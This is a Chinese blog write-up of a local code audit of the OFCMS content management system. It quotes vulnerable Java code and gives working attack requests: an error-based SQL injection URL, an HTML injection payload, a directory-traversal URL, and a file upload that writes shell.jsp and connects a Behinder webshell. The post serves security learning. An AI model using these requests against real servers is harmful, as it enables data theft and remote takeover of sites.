OFCMS代码审计

环境搭建

https://blog.csdn.net/oufua/article/details/82584637
在这里插入图片描述
在这里插入图片描述

安装后是重启容器

在这里插入图片描述

最后
db-config.properties 改成db.properties 修改数据库连接

在这里插入图片描述
在这里插入图片描述

搭建成功

在这里插入图片描述

代码审计

在这里插入图片描述


sql注入审计

全局搜索${ 查看没有预编译的sql语句,从而找到sql注入功能点

在这里插入图片描述

在这里插入图片描述

Ctrl+alt+h 查看函数的调用栈

寻找到一处没有进行任何处理的sql语句

    public void create() {
      try {
         String sql = getPara("sql");
         Db.update(sql);
         rendSuccessJson();
      } catch (Exception e) {
         e.printStackTrace();
         rendFailedJson(ErrorCode.get("9999"), e.getMessage());
      }
   }
}

getPara(“sql”) 后直接交给Db.update(sql)执行

下断点测试一下
在这里插入图片描述

利用

请求包
http://localhost:8080/ofcms_admin_war/admin/system/generate/create?sql=UPDATE%20of_cms_api%20SET%20api_url=updatexml(2,concat(0x7e,(version())),0)

响应包
{“msg”:“java.sql.SQLException: XPATH syntax error: ‘~5.7.26’”,“code”:“处理失败请稍后重试!”,“success”:false}

在这里插入图片描述


HTML注入

http://localhost:8080/ofcms_admin_war/admin/comn/service/update.json?sqlid=system.task.update

payload

<h2>aaaa</h2>

在这里插入图片描述

保存和查询输出并未过滤,可能前端有限制js,需要绕一些前端应该会存在xss

在这里插入图片描述

目录穿越漏洞

保存模板的地方存在传入参数dir
全局搜索dir

在这里插入图片描述

关键代码

public void getTemplates() {
    //当前目录
    String dirName = getPara("dir","");
    //上级目录
    String upDirName = getPara("up_dir","/");
    //类型区分
        String resPath = getPara("res_path");
    //文件目录
    String dir = null;
    if(!"/".equals(upDirName)){
          dir = upDirName+dirName;
    }else{
          dir = dirName;
    }
    File pathFile = null;
    if("res".equals(resPath)){
        pathFile = new File(SystemUtile.getSiteTemplateResourcePath(),dir);
    }else {
        pathFile = new File(SystemUtile.getSiteTemplatePath(),dir);
    }

在这里插入图片描述

传入的路径没有过滤直接使用
在这里插入图片描述

利用

http://localhost:8080/ofcms_admin_war/admin/cms/template/getTemplates.html?dir=…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/

在这里插入图片描述
在这里插入图片描述


任意文件上传

在查看调用栈的时候发现了save保存文件的接口只过滤了<>

使用url编码上传木马测试
任意文件上传

关键代码

public void save() {
    String resPath = getPara("res_path");
    File pathFile = null;
    if("res".equals(resPath)){
        pathFile = new File(SystemUtile.getSiteTemplateResourcePath());
    }else {
        pathFile = new File(SystemUtile.getSiteTemplatePath());
    }
    String dirName = getPara("dirs");
    if (dirName != null) {
        pathFile = new File(pathFile, dirName);
    }
    String fileName = getPara("file_name");
    // 没有用getPara原因是,getPara因为安全问题会过滤某些html元素。
    String fileContent = getRequest().getParameter("file_content");
    fileContent = fileContent.replace("&lt;", "<").replace("&gt;", ">");
    File file = new File(pathFile, fileName);
    FileUtils.writeString(file, fileContent);
    rendSuccessJson();
}

接下来要尝试构造参数
filen_name res_path=res

dir=/ file_content 就可以任意文件上传了

利用

可以上传jsp文件
参数:
file_path=&dirs=%2F&res_path=res&file_name=shell.jsp&file_content=aaaaaaa

在这里插入图片描述

写入成功
在这里插入图片描述

由于MVC问题,无法正常访问到所有找一个静态路径试一下。
在这里插入图片描述

写入到静态页面static目录下,也就是…/…/static/目录下
在这里插入图片描述

写入成功
在这里插入图片描述
成功访问到,接下getshell试一下。
在这里插入图片描述

接下来上传冰蝎的马连一下
在这里插入图片描述

成功上线
在这里插入图片描述


框架漏洞

Fastjson反序列化

在这里插入图片描述

学习中,全局搜索危险函数并未发现可控的功能点

Log4j代码审计

参考:http://www.hackdig.com/06/hack-1021138.htm

在这里插入图片描述

判断一个网站系统是否存在log4j远程命令执行漏洞需要判断一下几个条件:
1、 是否使用了存在漏洞版本的log4j组件
2、是否使用类似这种危险函数:logger.debug ,logger.info ,logger.warn , logger.error ,logger.fatal
3、函数内的参数值是否用户可控

发现危险性函数,看看参数是不是可以控制

在这里插入图片描述

部分代码

    while (!stopRequested) {
      log.info("##### 自动更新配置文件服务启动, 更新间隔时间 " + interval + " 秒");
      // 去除 Engine 中的缓存,以免 get 出来后重新判断 isModified
      sqlKit.getEngine().removeAllTemplateCache();
      sqlKit.parseSqlTemplate();
      try {
         sleep(interval * 1000);
      } catch (InterruptedException e) {
         runThread.interrupt();
      }
   }
   log.info("##### 自动更新配置文件服务退出");
}

发现是固定参数用户不可控

在这里插入图片描述

未完待续,继续学习。

参考文章

环境搭建:
https://blog.csdn.net/oufua/article/details/82584637

Log4j代码审计
http://www.hackdig.com/06/hack-1021138.htm

说明

仅作为安全研究使用,请勿使用未授权的攻击行为,遵循法律法规。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值